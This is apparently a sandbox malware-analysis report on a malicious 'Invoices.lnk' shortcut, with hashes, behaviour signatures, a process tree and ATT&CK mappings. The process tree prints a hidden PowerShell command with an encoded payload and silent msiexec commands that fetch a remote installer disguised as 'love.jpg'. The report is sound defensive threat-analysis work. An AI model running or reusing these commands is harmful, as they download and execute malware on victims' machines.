Analysis

  • max time kernel
    61s
  • max time network
    75s
  • platform
    windows7_x64
  • resource
    win7-20230703-en
  • resource tags

    arch:x64arch:x86image:win7-20230703-enlocale:en-usos:windows7-x64system
  • submitted
    10-07-2023 07:13

General

  • Target

    Invoices.lnk

  • Size

    1KB

  • MD5

    cbe684367925c53f7a9026f252011724

  • SHA1

    ec8cf089aa811c009683c8ee4e5183750ef0452e

  • SHA256

    744abbb0d8d00bc5eb058ce47ffffa971c7dbd03a9b204c67284080e99d982da

  • SHA512

    7d06394b39ee7b7c9570307fd1f6349fa440ed3d21f8f1ee67ae35c9b3bacabe214b47830e498e56f2fd51f02de44ec2e1625de21abdce5af5fec69f139fdad0

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Use of msiexec (install) with remote resource 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Drops file in System32 directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 10 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Invoices.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3004
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe" Res\tvp.exe
      2⤵
        PID:2124
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:2232
      • C:\Users\Admin\AppData\Local\Temp\Res\tvp.exe
        "C:\Users\Admin\AppData\Local\Temp\Res\tvp.exe"
        2⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1360
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShell.exe
          PowerShell -nop -exec bypass -w Hidden -Enc DQAKAGYAbwByACgAJABpAD0AMQA7ACQAaQAgAC0AbABlACAAMwA7ACQAaQArACsAKQANAAoAewANAAoAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFYAZQByAGIAIAByAHUAbgBBAHMAIAAnAG0AcwBpAGUAeABlAGMAIAAvAGkAIABoAHQAdABwADoALwAvAHIAYQB3AC4AZwBpAHQAaABhAGMAawAuAGMAbwBtAC8AbQBuAHcATwBEAEIAcAB0AEsANgBqAFUALwA2ADIAOABmAHIAQQBMAHQAQQBjAG0ATwAvAG0AYQBpAG4ALwBsAG8AdgBlAC4AagBwAGcAIAAvAHEAJwANAAoAfQANAAoA
          3⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1788
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" msiexec /i http://raw.githack.com/mnwODBptK6jU/628frALtAcmO/main/love.jpg /q
            4⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:572
            • C:\Windows\SysWOW64\msiexec.exe
              "C:\Windows\system32\msiexec.exe" /i http://raw.githack.com/mnwODBptK6jU/628frALtAcmO/main/love.jpg /q
              5⤵
              • Use of msiexec (install) with remote resource
              • Suspicious use of AdjustPrivilegeToken
              PID:2756
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" msiexec /i http://raw.githack.com/mnwODBptK6jU/628frALtAcmO/main/love.jpg /q
            4⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2576
            • C:\Windows\SysWOW64\msiexec.exe
              "C:\Windows\system32\msiexec.exe" /i http://raw.githack.com/mnwODBptK6jU/628frALtAcmO/main/love.jpg /q
              5⤵
              • Use of msiexec (install) with remote resource
              • Suspicious use of AdjustPrivilegeToken
              PID:2672
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" msiexec /i http://raw.githack.com/mnwODBptK6jU/628frALtAcmO/main/love.jpg /q
            4⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2712
            • C:\Windows\SysWOW64\msiexec.exe
              "C:\Windows\system32\msiexec.exe" /i http://raw.githack.com/mnwODBptK6jU/628frALtAcmO/main/love.jpg /q
              5⤵
              • Use of msiexec (install) with remote resource
              • Suspicious use of AdjustPrivilegeToken
              PID:2684
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Blocklisted process makes network request
      • Suspicious use of AdjustPrivilegeToken
      PID:2532

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Discovery

    System Information Discovery

    1
    T1082

    Command and Control

    Web Service

    1
    T1102

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VPWVEY3ZZA1GDGMBCK8F.temp
      Filesize

      7KB

      MD5

      328b0314860218324faa426dce3a914c

      SHA1

      5b70c771d6029c075e991dfd79c7ec780cae8cbb

      SHA256

      ddeb6655c796ed659256704570b1fca44488d1ad194bde366c7ce41ed5def4c3

      SHA512

      0e297503e96836515fff0f43a712584c6d404bc86130854c24490518d895b1fd6e1587343475788cdd5ffcc7345345d69c2d92ac5b2364aba7c85989dc0b6664

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
      Filesize

      7KB

      MD5

      328b0314860218324faa426dce3a914c

      SHA1

      5b70c771d6029c075e991dfd79c7ec780cae8cbb

      SHA256

      ddeb6655c796ed659256704570b1fca44488d1ad194bde366c7ce41ed5def4c3

      SHA512

      0e297503e96836515fff0f43a712584c6d404bc86130854c24490518d895b1fd6e1587343475788cdd5ffcc7345345d69c2d92ac5b2364aba7c85989dc0b6664

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
      Filesize

      7KB

      MD5

      328b0314860218324faa426dce3a914c

      SHA1

      5b70c771d6029c075e991dfd79c7ec780cae8cbb

      SHA256

      ddeb6655c796ed659256704570b1fca44488d1ad194bde366c7ce41ed5def4c3

      SHA512

      0e297503e96836515fff0f43a712584c6d404bc86130854c24490518d895b1fd6e1587343475788cdd5ffcc7345345d69c2d92ac5b2364aba7c85989dc0b6664

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
      Filesize

      7KB

      MD5

      328b0314860218324faa426dce3a914c

      SHA1

      5b70c771d6029c075e991dfd79c7ec780cae8cbb

      SHA256

      ddeb6655c796ed659256704570b1fca44488d1ad194bde366c7ce41ed5def4c3

      SHA512

      0e297503e96836515fff0f43a712584c6d404bc86130854c24490518d895b1fd6e1587343475788cdd5ffcc7345345d69c2d92ac5b2364aba7c85989dc0b6664

    • \??\PIPE\srvsvc
      MD5

      d41d8cd98f00b204e9800998ecf8427e

      SHA1

      da39a3ee5e6b4b0d3255bfef95601890afd80709

      SHA256

      e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

      SHA512

      cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

    • memory/1360-90-0x0000000000020000-0x000000000003F000-memory.dmp
      Filesize

      124KB

    • memory/1788-94-0x0000000000370000-0x00000000003B0000-memory.dmp
      Filesize

      256KB

    • memory/1788-95-0x0000000000370000-0x00000000003B0000-memory.dmp
      Filesize

      256KB